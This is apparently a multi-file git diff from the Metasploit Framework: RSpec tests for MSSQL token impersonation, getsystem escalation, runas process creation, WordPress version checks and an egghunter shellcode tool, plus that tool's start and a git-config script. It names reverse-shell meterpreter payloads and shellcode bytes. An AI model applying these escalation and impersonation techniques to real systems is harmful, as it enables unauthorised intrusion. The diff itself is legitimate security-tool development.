|
||||
result.should eq running_named_2k8_sql_instance
|
||||
end
|
||||
|
||||
it "should only identify that instance" do
|
||||
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_2k8_sql_instance).and_yield(running_named_2k8_sql_instance)
|
||||
result = subject.check_for_sqlserver(instance)
|
||||
result.should eq running_named_2k8_sql_instance
|
||||
end
|
||||
end
|
||||
|
||||
context "when SQL Server 7 and instance is supplied" do
|
||||
let(:instance) do
|
||||
'MSSQLServer'
|
||||
end
|
||||
|
||||
it "should identify a running SQL instance" do
|
||||
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service).and_yield(running_7_sql_instance)
|
||||
result = subject.check_for_sqlserver(instance)
|
||||
result.should eq running_7_sql_instance
|
||||
end
|
||||
end
|
||||
|
||||
context "when SQL Server 2000 and instance is supplied" do
|
||||
let(:instance) do
|
||||
named_instance
|
||||
end
|
||||
|
||||
it "should identify only a named SQL instance" do
|
||||
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service)
|
||||
.and_yield(running_2k_sql_instance).and_yield(running_named_2k_sql_instance)
|
||||
result = subject.check_for_sqlserver(instance)
|
||||
result.should eq running_named_2k_sql_instance
|
||||
end
|
||||
end
|
||||
|
||||
context "when SQL Server 2005 and instance is supplied" do
|
||||
let(:instance) do
|
||||
named_instance
|
||||
end
|
||||
|
||||
it "should identify only a named SQL instance" do
|
||||
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service)
|
||||
.and_yield(running_2k5_sql_instance).and_yield(running_named_2k5_sql_instance)
|
||||
result = subject.check_for_sqlserver(instance)
|
||||
result.should eq running_named_2k5_sql_instance
|
||||
end
|
||||
end
|
||||
|
||||
context "when SQL Server 2008 and instance is supplied" do
|
||||
let(:instance) do
|
||||
named_instance
|
||||
end
|
||||
|
||||
it "should identify only a named SQL instance" do
|
||||
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service)
|
||||
.and_yield(running_2k8_sql_instance).and_yield(running_named_2k8_sql_instance)
|
||||
result = subject.check_for_sqlserver(instance)
|
||||
result.should eq running_named_2k8_sql_instance
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#impersonate_sql_user" do
|
||||
let(:pid) do
|
||||
8787
|
||||
end
|
||||
|
||||
let(:user) do
|
||||
'sqluser'
|
||||
end
|
||||
|
||||
let(:service) do
|
||||
{ pid: pid }
|
||||
end
|
||||
|
||||
let(:process) do
|
||||
{ 'pid' => pid, 'user' => user }
|
||||
end
|
||||
|
||||
it 'should return false if service is invalid or pid is invalid' do
|
||||
subject.impersonate_sql_user(nil).should be_falsey
|
||||
subject.impersonate_sql_user(pid: nil).should be_falsey
|
||||
subject.impersonate_sql_user(pid: 0).should be_falsey
|
||||
end
|
||||
|
||||
context 'user has privs to impersonate' do
|
||||
before(:each) do
|
||||
subject.stub_chain('session.sys.config.getuid').and_return('Superman')
|
||||
subject.stub_chain('client.sys.config.getprivs').and_return(['SeAssignPrimaryTokenPrivilege'])
|
||||
subject.stub_chain('session.incognito').and_return(true)
|
||||
subject.stub_chain('session.sys.process.each_process').and_yield(process)
|
||||
end
|
||||
|
||||
it 'should return true if successful impersonating' do
|
||||
subject.stub_chain('session.incognito.incognito_impersonate_token').with(user).and_return('Successfully')
|
||||
subject.impersonate_sql_user(service).should be true
|
||||
end
|
||||
|
||||
it 'should return false if fails impersonating' do
|
||||
subject.stub_chain('session.incognito.incognito_impersonate_token').with(user).and_return('guff')
|
||||
subject.impersonate_sql_user(service).should be false
|
||||
end
|
||||
|
||||
it 'should return false if unable to find process username' do
|
||||
subject.stub_chain('session.sys.process.each_process').and_yield('pid' => 0)
|
||||
subject.impersonate_sql_user(service).should be false
|
||||
end
|
||||
end
|
||||
|
||||
context 'user does not have privs to impersonate' do
|
||||
before(:each) do
|
||||
subject.stub_chain('session.sys.config.getuid').and_return('Superman')
|
||||
subject.stub_chain('client.sys.config.getprivs').and_return([])
|
||||
end
|
||||
|
||||
it 'should return true if successful' do
|
||||
expect(subject).to receive(:print_warning)
|
||||
subject.stub_chain('session.core.migrate').with(pid).and_return(true)
|
||||
subject.impersonate_sql_user(service).should be true
|
||||
end
|
||||
|
||||
it 'should rescue an exception if migration fails' do
|
||||
expect(subject).to receive(:print_warning)
|
||||
subject.stub_chain('session.core.migrate').with(pid).and_raise(Rex::RuntimeError)
|
||||
subject.impersonate_sql_user(service).should be false
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#get_system" do
|
||||
it 'should return true if already SYSTEM' do
|
||||
expect(subject).to receive(:is_system?).and_return(true)
|
||||
subject.get_system.should be_truthy
|
||||
end
|
||||
|
||||
it 'should return true if able to get SYSTEM and print a warning' do
|
||||
expect(subject).to receive(:is_system?).and_return(false)
|
||||
expect(subject).to receive(:print_warning)
|
||||
subject.stub_chain('session.priv.getsystem').and_return([true])
|
||||
subject.get_system.should be_truthy
|
||||
end
|
||||
|
||||
it 'should return false if unable to get SYSTEM and print a warning' do
|
||||
expect(subject).to receive(:is_system?).and_return(false)
|
||||
expect(subject).to receive(:print_warning)
|
||||
subject.stub_chain('session.priv.getsystem').and_return([false])
|
||||
subject.get_system.should be_falsey
|
||||
end
|
||||
end
|
||||
|
||||
describe "#run_cmd" do
|
||||
it 'should return a string' do
|
||||
p = double('process')
|
||||
c = double('channel')
|
||||
p.stub(:channel).and_return(c)
|
||||
subject.stub_chain('session.sys.process.execute').and_return(p)
|
||||
expect(c).to receive(:read).and_return('hello')
|
||||
expect(c).to receive(:read).and_return(nil)
|
||||
expect(c).to receive(:close)
|
||||
expect(p).to receive(:close)
|
||||
subject.run_cmd(nil).should eq 'hello'
|
||||
end
|
||||
end
|
||||
|
||||
describe "#run_sql" do
|
||||
let(:sqlclient) do
|
||||
'blah'
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
subject.sql_client = sqlclient
|
||||
end
|
||||
|
||||
let(:query) do
|
||||
'SELECT * FROM TABLE;'
|
||||
end
|
||||
|
||||
let(:instance) do
|
||||
'commandInstance'
|
||||
end
|
||||
|
||||
let(:server) do
|
||||
'mssql1231'
|
||||
end
|
||||
|
||||
context 'when only a query is supplied' do
|
||||
it 'should pass the @sql_client, and query to run_cmd' do
|
||||
expect(subject).to receive(:run_cmd) do |*args|
|
||||
args.first.include?(sqlclient).should be_truthy
|
||||
args.first.include?("-Q \"#{query}\" ").should be_truthy
|
||||
args.first.include?("-S . ").should be_truthy
|
||||
end
|
||||
subject.run_sql(query)
|
||||
end
|
||||
end
|
||||
|
||||
context 'when a query and instance is supplied' do
|
||||
it 'should pass the @sql_client, query, and instance to run_cmd' do
|
||||
expect(subject).to receive(:run_cmd) do |*args|
|
||||
args.first.include?(sqlclient).should be_truthy
|
||||
args.first.include?("-Q \"#{query}\" ").should be_truthy
|
||||
args.first.include?("-S .\\#{instance} ").should be_truthy
|
||||
end
|
||||
subject.run_sql(query, instance)
|
||||
end
|
||||
|
||||
it 'should shouldnt supply an instance if the target is mssqlserver (7/2000)' do
|
||||
expect(subject).to receive(:run_cmd) do |*args|
|
||||
args.first.include?(sqlclient).should be_truthy
|
||||
args.first.include?("-Q \"#{query}\" ").should be_truthy
|
||||
args.first.include?("-S . ").should be_truthy
|
||||
end
|
||||
subject.run_sql(query, 'mssqlsErver')
|
||||
end
|
||||
end
|
||||
|
||||
context 'when a query, instance, and server is supplied' do
|
||||
it 'should pass the @sql_client, query, instance, and server to run_cmd' do
|
||||
expect(subject).to receive(:run_cmd) do |*args|
|
||||
args.first.include?(sqlclient).should be_truthy
|
||||
args.first.include?("-Q \"#{query}\" ").should be_truthy
|
||||
args.first.include?("-S #{server}\\#{instance} ").should be_truthy
|
||||
end
|
||||
subject.run_sql(query, instance, server)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
let(:osql) do
|
||||
'osql'
|
||||
end
|
||||
|
||||
let(:sql_command) do
|
||||
'sqlcmd'
|
||||
end
|
||||
|
||||
describe "#check_osql" do
|
||||
it "should return nil if no osql" do
|
||||
expect(subject).to receive(:run_cmd).with('osql -?').and_return('blah')
|
||||
subject.check_osql.should be_falsey
|
||||
end
|
||||
|
||||
it "should return true if present" do
|
||||
expect(subject).to receive(:run_cmd).with('osql -?').and_return('(usage: osql)')
|
||||
subject.check_osql.should be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
describe "#check_sqlcmd" do
|
||||
it "should return nil if no sqlcmd" do
|
||||
expect(subject).to receive(:run_cmd).and_return('blah')
|
||||
subject.check_sqlcmd.should be_falsey
|
||||
end
|
||||
|
||||
it "should return true if present" do
|
||||
expect(subject).to receive(:run_cmd).and_return('SQL Server Command Line Tool')
|
||||
subject.check_sqlcmd.should be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
describe "#get_sql_client" do
|
||||
it "should return nil if no client is available" do
|
||||
expect(subject).to receive(:check_sqlcmd).and_return(false)
|
||||
expect(subject).to receive(:check_osql).and_return(false)
|
||||
subject.get_sql_client.should be_nil
|
||||
subject.sql_client.should be_nil
|
||||
end
|
||||
|
||||
it "should return 'osql' if osql is available" do
|
||||
expect(subject).to receive(:check_sqlcmd).and_return(false)
|
||||
expect(subject).to receive(:check_osql).and_return(true)
|
||||
subject.get_sql_client.should eq osql
|
||||
subject.sql_client.should eq osql
|
||||
end
|
||||
|
||||
it "should return 'sqlcmd' if sqlcmd is available" do
|
||||
allow(subject).to receive(:check_osql).and_return(true)
|
||||
expect(subject).to receive(:check_sqlcmd).and_return(true)
|
||||
subject.get_sql_client.should eq sql_command
|
||||
subject.sql_client.should eq sql_command
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,207 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'msf/core/post/windows/runas'
|
||||
|
||||
describe Msf::Post::Windows::Runas do
|
||||
let(:process_info) do
|
||||
"\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00"
|
||||
end
|
||||
|
||||
let(:phToken) do
|
||||
"testPhToken"
|
||||
end
|
||||
|
||||
let(:advapi32) do
|
||||
advapi32 = double('advapi32')
|
||||
advapi32.stub(:CreateProcessWithLogonW).and_return({
|
||||
'return' => true,
|
||||
'lpProcessInformation' => process_info
|
||||
})
|
||||
advapi32.stub(:CreateProcessAsUserA).and_return ({
|
||||
'return' => true,
|
||||
'lpProcessInformation' => process_info
|
||||
})
|
||||
advapi32.stub(:LogonUserA).and_return ({
|
||||
'return' => true,
|
||||
'phToken' => phToken
|
||||
})
|
||||
advapi32
|
||||
end
|
||||
|
||||
let(:kernel32) do
|
||||
double('kernel32', CloseHandle: nil)
|
||||
end
|
||||
|
||||
let(:subject) do
|
||||
mod = Module.new
|
||||
mod.extend described_class
|
||||
stubs = [ :vprint_status, :print_status, :vprint_good, :print_good, :print_error ]
|
||||
stubs.each { |meth| mod.stub(meth) }
|
||||
mod.stub_chain("session.railgun.kernel32").and_return(kernel32)
|
||||
mod.stub_chain("session.railgun.advapi32").and_return(advapi32)
|
||||
mod
|
||||
end
|
||||
|
||||
context "#create_process_with_logon" do
|
||||
it "should return a process_info hash" do
|
||||
expect(advapi32).to receive(:CreateProcessWithLogonW)
|
||||
expect(kernel32).not_to receive(:CloseHandle)
|
||||
pi = subject.create_process_with_logon(nil, 'bob', 'pass', nil, 'cmd.exe')
|
||||
pi.should be_kind_of(Hash)
|
||||
pi.should eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4)
|
||||
end
|
||||
|
||||
it "should return a nil on failure" do
|
||||
expect(advapi32).to receive(:CreateProcessWithLogonW)
|
||||
expect(kernel32).not_to receive(:CloseHandle)
|
||||
advapi32.stub(:CreateProcessWithLogonW).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp')
|
||||
subject.create_process_with_logon(nil, 'bob', 'pass', nil, 'cmd.exe').should be nil
|
||||
end
|
||||
end
|
||||
|
||||
context "#create_process_as_user" do
|
||||
it "should return a process_info hash" do
|
||||
expect(advapi32).to receive(:LogonUserA)
|
||||
expect(advapi32).to receive(:CreateProcessAsUserA)
|
||||
expect(kernel32).to receive(:CloseHandle).with(phToken)
|
||||
expect(kernel32).to receive(:CloseHandle).with(1)
|
||||
expect(kernel32).to receive(:CloseHandle).with(2)
|
||||
pi = subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe')
|
||||
pi.should be_kind_of(Hash)
|
||||
pi.should eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4)
|
||||
end
|
||||
|
||||
it "should return a nil on failure of create process" do
|
||||
expect(advapi32).to receive(:LogonUserA)
|
||||
expect(advapi32).to receive(:CreateProcessAsUserA)
|
||||
expect(kernel32).to receive(:CloseHandle).with(phToken)
|
||||
expect(kernel32).not_to receive(:CloseHandle).with(1)
|
||||
expect(kernel32).not_to receive(:CloseHandle).with(2)
|
||||
advapi32.stub(:CreateProcessAsUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp')
|
||||
subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe').should be nil
|
||||
end
|
||||
|
||||
it "should return a nil on failure of logon user" do
|
||||
expect(advapi32).to receive(:LogonUserA)
|
||||
expect(advapi32).not_to receive(:CreateProcessAsUserA)
|
||||
expect(kernel32).not_to receive(:CloseHandle).with(phToken)
|
||||
expect(kernel32).not_to receive(:CloseHandle).with(1)
|
||||
expect(kernel32).not_to receive(:CloseHandle).with(2)
|
||||
advapi32.stub(:LogonUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp')
|
||||
subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe').should be nil
|
||||
end
|
||||
end
|
||||
|
||||
context "#startup_info" do
|
||||
it "should be 68 bytes" do
|
||||
subject.startup_info.size.should eq(68)
|
||||
end
|
||||
|
||||
it "should return SW_HIDE=0 and STARTF_USESHOWWINDOW=1" do
|
||||
si = subject.startup_info.unpack('VVVVVVVVVVVVvvVVVV')
|
||||
si[11].should eq(1)
|
||||
si[12].should eq(0)
|
||||
end
|
||||
end
|
||||
|
||||
context "#parse_process_information" do
|
||||
it "should return a hash when given valid data" do
|
||||
pi = subject.parse_process_information(process_info)
|
||||
pi.should be_kind_of(Hash)
|
||||
pi.should eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4)
|
||||
end
|
||||
|
||||
it "should return an exception when given an empty string" do
|
||||
expect { subject.parse_process_information("") }.to raise_error
|
||||
end
|
||||
|
||||
it "should return an exception when given an nil value" do
|
||||
expect { subject.parse_process_information(nil) }.to raise_error
|
||||
end
|
||||
end
|
||||
|
||||
context "#check_user_format" do
|
||||
let(:upn_username) do
|
||||
"bob@flob.com"
|
||||
end
|
||||
let(:domain_username) do
|
||||
"flob\\bob"
|
||||
end
|
||||
let(:domain) do
|
||||
"flob"
|
||||
end
|
||||
|
||||
it "should return an exception when username is nil" do
|
||||
expect { subject.check_user_format(nil, domain) }.to raise_error
|
||||
end
|
||||
|
||||
it "should return an exception when UPN format and domain supplied" do
|
||||
expect { subject.check_user_format(upn_username, domain) }.to raise_error
|
||||
end
|
||||
|
||||
it "should return true when UPN format and domain is nil" do
|
||||
subject.check_user_format(upn_username, nil).should be true
|
||||
end
|
||||
|
||||
it "should return true when domain format and domain is nil" do
|
||||
subject.check_user_format(domain_username, nil).should be true
|
||||
end
|
||||
|
||||
it "should return true when domain format and domain supplied" do
|
||||
subject.check_user_format(domain_username, domain).should be true
|
||||
end
|
||||
end
|
||||
|
||||
context "#check_command_length" do
|
||||
let(:max_length) do
|
||||
1024
|
||||
end
|
||||
let(:max_path) do
|
||||
256
|
||||
end
|
||||
let(:large_command_module) do
|
||||
("A" * max_path + 1) + " arg1 arg2"
|
||||
end
|
||||
let(:normal_command_module) do
|
||||
("A" * max_path) + " arg1 arg2"
|
||||
end
|
||||
let(:large_command_line) do
|
||||
"A" * max_length + 1
|
||||
end
|
||||
let(:normal_command_line) do
|
||||
"A" * max_length
|
||||
end
|
||||
let(:application_name) do
|
||||
"c:\\windows\\system32\\calc.exe"
|
||||
end
|
||||
|
||||
it "should raise an exception when max_length is nil" do
|
||||
expect { subject.check_command_length(nil, nil, nil) }.to raise_error
|
||||
end
|
||||
|
||||
it "should raise an exception when application_name and command_line are nil" do
|
||||
expect { subject.check_command_length(nil, nil, max_length) }.to raise_error
|
||||
end
|
||||
|
||||
it "should return true when application_name is set and command_line is nil" do
|
||||
subject.check_command_length(application_name, nil, max_length).should be true
|
||||
end
|
||||
|
||||
it "should return true when application_name is set and command_line is max_length" do
|
||||
subject.check_command_length(application_name, normal_command_line, max_length).should be true
|
||||
end
|
||||
|
||||
it "should raise an exception when command_line is larger than max_length" do
|
||||
expect { subject.check_command_length(nil, large_command_line, max_length) }.to raise_error
|
||||
end
|
||||
|
||||
it "should raise an exception when application_name is nil command_line module is larger than MAX_PATH" do
|
||||
expect { subject.check_command_length(nil, large_command_module, max_length) }.to raise_error
|
||||
end
|
||||
|
||||
it "should return true when application_name is nil and command_module is less than MAX_PATH" do
|
||||
subject.check_command_length(nil, normal_command_module, max_length).should be true
|
||||
end
|
||||
end
|
||||
end
|
|
@ -145,6 +145,97 @@ describe Msf::HTTP::Wordpress::Version do
|
|||
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Safe) }
|
||||
end
|
||||
|
||||
context 'when all versions are vulnerable' do
|
||||
let(:wp_code) { 200 }
|
||||
let(:wp_body) { 'Stable tag: 1.0.0' }
|
||||
it { expect(subject.send(:check_version_from_readme, :plugin, 'name')).to be(Msf::Exploit::CheckCode::Appears) }
|
||||
end
|
||||
end
|
||||
|
||||
describe '#check_theme_version_from_style' do
|
||||
before :each do
|
||||
allow(subject).to receive(:send_request_cgi) do |opts|
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.code = wp_code
|
||||
res.body = wp_body
|
||||
res
|
||||
end
|
||||
end
|
||||
|
||||
let(:wp_code) { 200 }
|
||||
let(:wp_body) { nil }
|
||||
let(:wp_fixed_version) { nil }
|
||||
|
||||
context 'when no style is found' do
|
||||
let(:wp_code) { 404 }
|
||||
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Unknown) }
|
||||
end
|
||||
|
||||
context 'when no version can be extracted from style' do
|
||||
let(:wp_code) { 200 }
|
||||
let(:wp_body) { 'invalid content' }
|
||||
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Detected) }
|
||||
end
|
||||
|
||||
context 'when version from style has arbitrary leading whitespace' do
|
||||
let(:wp_code) { 200 }
|
||||
let(:wp_fixed_version) { '1.0.1' }
|
||||
let(:wp_body) { 'Version: 1.0.0' }
|
||||
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Appears) }
|
||||
let(:wp_body) { 'Version:1.0.0' }
|
||||
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Appears) }
|
||||
end
|
||||
|
||||
context 'when installed version is vulnerable' do
|
||||
let(:wp_code) { 200 }
|
||||
let(:wp_fixed_version) { '1.0.1' }
|
||||
let(:wp_body) { 'Version: 1.0.0' }
|
||||
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Appears) }
|
||||
end
|
||||
|
||||
context 'when installed version is not vulnerable' do
|
||||
let(:wp_code) { 200 }
|
||||
let(:wp_fixed_version) { '1.0.1' }
|
||||
let(:wp_body) { 'Version: 1.0.2' }
|
||||
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Safe) }
|
||||
end
|
||||
|
||||
context 'when installed version is vulnerable (version range)' do
|
||||
let(:wp_code) { 200 }
|
||||
let(:wp_fixed_version) { '1.0.2' }
|
||||
let(:wp_introd_version) { '1.0.0' }
|
||||
let(:wp_body) { 'Version: 1.0.1' }
|
||||
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version, wp_introd_version)).to be(Msf::Exploit::CheckCode::Appears) }
|
||||
end
|
||||
|
||||
context 'when installed version is older (version range)' do
|
||||
let(:wp_code) { 200 }
|
||||
let(:wp_fixed_version) { '1.0.1' }
|
||||
let(:wp_introd_version) { '1.0.0' }
|
||||
let(:wp_body) { 'Version: 0.0.9' }
|
||||
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version, wp_introd_version)).to be(Msf::Exploit::CheckCode::Safe) }
|
||||
end
|
||||
|
||||
context 'when installed version is newer (version range)' do
|
||||
let(:wp_code) { 200 }
|
||||
let(:wp_fixed_version) { '1.0.1' }
|
||||
let(:wp_introd_version) { '1.0.0' }
|
||||
let(:wp_body) { 'Version: 1.0.2' }
|
||||
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version, wp_introd_version)).to be(Msf::Exploit::CheckCode::Safe) }
|
||||
end
|
||||
|
||||
context 'when installed version is newer (text in version number)' do
|
||||
let(:wp_code) { 200 }
|
||||
let(:wp_fixed_version) { '1.5.3' }
|
||||
let(:wp_body) { 'Version: 2.0.0-beta1' }
|
||||
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Safe) }
|
||||
end
|
||||
|
||||
context 'when all versions are vulnerable' do
|
||||
let(:wp_code) { 200 }
|
||||
let(:wp_body) { 'Version: 1.0.0' }
|
||||
it { expect(subject.send(:check_theme_version_from_style, 'name')).to be(Msf::Exploit::CheckCode::Appears) }
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -394,7 +394,8 @@ describe Msf::Ui::Console::CommandDispatcher::Db do
|
|||
" -i,--info Change the info of a host",
|
||||
" -n,--name Change the name of a host",
|
||||
" -m,--comment Change the comment of a host",
|
||||
"Available columns: address, arch, comm, comments, created_at, cred_count, detected_arch, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count"
|
||||
" -t,--tag Add or specify a tag to a range of hosts",
|
||||
"Available columns: address, arch, comm, comments, created_at, cred_count, detected_arch, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count, tags"
|
||||
]
|
||||
end
|
||||
end
|
||||
|
|
|
@ -2045,6 +2045,17 @@ describe 'modules/payloads', :content do
|
|||
reference_name: 'python/meterpreter/reverse_http'
|
||||
end
|
||||
|
||||
context 'python/meterpreter/reverse_https' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'stagers/python/reverse_https',
|
||||
'stages/python/meterpreter'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'python/meterpreter/reverse_https'
|
||||
end
|
||||
|
||||
context 'python/meterpreter/reverse_tcp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
|
|
|
@ -0,0 +1,103 @@
|
|||
load Metasploit::Framework.root.join('tools/egghunter.rb').to_path
|
||||
|
||||
require 'stringio'
|
||||
|
||||
describe Egghunter do
|
||||
|
||||
describe Egghunter::Driver do
|
||||
|
||||
subject do
|
||||
Egghunter::Driver.new
|
||||
end
|
||||
|
||||
let(:egg) {
|
||||
'W00T'
|
||||
}
|
||||
|
||||
describe '#run' do
|
||||
|
||||
def get_stdout(&block)
|
||||
out = $stdout
|
||||
$stdout = fake = StringIO.new
|
||||
begin
|
||||
yield
|
||||
ensure
|
||||
$stdout = out
|
||||
end
|
||||
fake.string
|
||||
end
|
||||
|
||||
let(:default_opts) {
|
||||
{ :platform => 'windows', :format => 'c', :eggtag => egg, :arch => 'x86' }
|
||||
}
|
||||
|
||||
before(:each) do
|
||||
allow(Egghunter::OptsConsole).to receive(:parse).with(any_args).and_return(options)
|
||||
end
|
||||
|
||||
context 'when the platform is windows' do
|
||||
let(:options) { default_opts }
|
||||
|
||||
it 'returns a windows egghunter' do
|
||||
output = get_stdout { subject.run }
|
||||
expect(output).to include("\\x66\\x81\\xca\\xff")
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the platform is linux' do
|
||||
let(:options) do
|
||||
{ :platform => 'linux', :format => 'c', :eggtag => egg, :arch => 'x86' }
|
||||
end
|
||||
|
||||
it 'returns a linux egghunter' do
|
||||
output = get_stdout { subject.run }
|
||||
expect(output).to include("\\xfc\\x66\\x81\\xc9\\xff")
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the egg is WOOT' do
|
||||
let(:options) { default_opts }
|
||||
|
||||
it 'includes W00T in the egghunter' do
|
||||
output = get_stdout { subject.run }
|
||||
expect(output).to include("\\x57\\x30\\x30\\x54")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
describe Egghunter::OptsConsole do
|
||||
subject do
|
||||
Egghunter::OptsConsole
|
||||
end
|
||||
|
||||
context 'when no options are given' do
|
||||
it 'raises OptionParser::MissingArgument' do
|
||||
expect{subject.parse([])}.to raise_error(OptionParser::MissingArgument)
|
||||
end
|
||||
end
|
||||
|
||||
context 'when no format is specified and --list-formats isn\'t used' do
|
||||
it 'raises OptionParser::MissingArgument' do
|
||||
args = '-e AAAA'.split
|
||||
expect{subject.parse(args)}.to raise_error(OptionParser::MissingArgument)
|
||||
end
|
||||
end
|
||||
|
||||
context 'when no egg is specified and --list-formats isn\'t used' do
|
||||
it 'raises OptionParser::MissingArgument' do
|
||||
args = '-f python'.split
|
||||
expect{subject.parse(args)}.to raise_error(OptionParser::MissingArgument)
|
||||
end
|
||||
end
|
||||
|
||||
context 'when :depsize is a string' do
|
||||
it 'raises OptionParser::InvalidOption' do
|
||||
args = '-e AAAA -f c --depsize STRING'.split
|
||||
expect{subject.parse(args)}.to raise_error(OptionParser::InvalidOption)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,33 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
toplevel = %x{git rev-parse --show-toplevel}.strip
|
||||
infile = "#{toplevel}/.git/config"
|
||||
outfile = infile
|
||||
$stderr.puts "Rewriting #{infile}"
|
||||
data = File.open(infile, 'rb') {|f| f.read f.stat.size}
|
||||
newdata = ""
|
||||
data.each_line do |line|
|
||||
newdata << line
|
||||
case line
|
||||
when /^(\s*)fetch\s*=.*remotes\/([^\/]+)\//
|
||||
ws = $1
|
||||
remote = $2
|
||||
pr_line = "fetch = +refs/pull/*/head:refs/remotes/#{remote}/pr/*"
|
||||
next if line.strip == pr_line.strip
|
||||
if data.include? pr_line
|
||||
$stderr.puts "Skipping #{remote}, already present"
|
||||
next
|
||||
else
|
||||
@new_pr_line ||= true
|
||||
$stderr.puts "Adding pull request fetch for #{remote}"
|
||||
newdata << "#{ws}#{pr_line}\n"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if @new_pr_line
|
||||
File.open(outfile, 'wb') {|f| f.write newdata}
|
||||
$stderr.puts "Wrote #{outfile}"
|
||||
else
|
||||
$stderr.puts "No changes to #{outfile}"
|
||||
end
|
|
@ -0,0 +1,156 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
msfbase = __FILE__
|
||||
while File.symlink?(msfbase)
|
||||
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
|
||||
end
|
||||
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib')))
|
||||
require 'msfenv'
|
||||
require 'rex'
|
||||
require 'msf/core'
|
||||
require 'msf/base'
|
||||
require 'optparse'
|
||||
|
||||
module Egghunter
|
||||
class OptsConsole
|
||||
def self.parse(args)
|
||||
options = {}
|
||||
parser = OptionParser.new do |opt|
|
||||
opt.banner = "Usage: #{__FILE__} [options]\nExample: #{__FILE__} -f python -e W00T"
|
||||
opt.separator ''
|
||||
opt.separator 'Specific options:'
|
||||
|
||||
opt.on('-f', '--format <String>', "See --list-formats for a list of supported output formats") do |v|
|
||||
options[:format] = v
|
||||
end
|
||||
|
||||
opt.on('-b', '--badchars <String>', "(Optional) Bad characters to avoid for the egg") do |v|
|
||||
options[:badchars] = v
|
||||
end
|
||||
|
||||
opt.on('-e', '--egg <String>', "The egg (Please give 4 bytes)") do |v|
|
||||
options[:eggtag] = v
|
||||
end
|
||||
|
||||
opt.on('-p', '--platform <String>', "(Optional) Platform") do |v|
|
||||
options[:platform] = v
|
||||
end
|
||||
|
||||
opt.on('--startreg <String>', "(Optional) The starting register") do |v|
|
||||
# Do not change this key. This should matching the one in Rex::Exploitation::Egghunter
|
||||
options[:startreg] = v
|
||||
end
|
||||
|
||||
opt.on('--forward', "(Optional) To search forward") do |v|
|
||||
# Do not change this key. This should matching the one in Rex::Exploitation::Egghunter
|
||||
options[:searchforward] = true
|
||||
end
|
||||
|
||||
opt.on('--depreg <String>', "(Optional) The DEP register") do |v|
|
||||
# Do not change this key. This should matching the one in Rex::Exploitation::Egghunter
|
||||
options[:depreg] = v
|
||||
end
|
||||
|
||||
opt.on('--depdest <String>', "(Optional) The DEP destination") do |v|
|
||||
# Do not change this key. This should matching the one in Rex::Exploitation::Egghunter
|
||||
options[:depdest] = v
|
||||
end
|
||||
|
||||
opt.on('--depsize <Fixnum>', "(Optional) The DEP size") do |v|
|
||||
# Do not change this key. This should matching the one in Rex::Exploitation::Egghunter
|
||||
options[:depsize] = v
|
||||
end
|
||||
|
||||
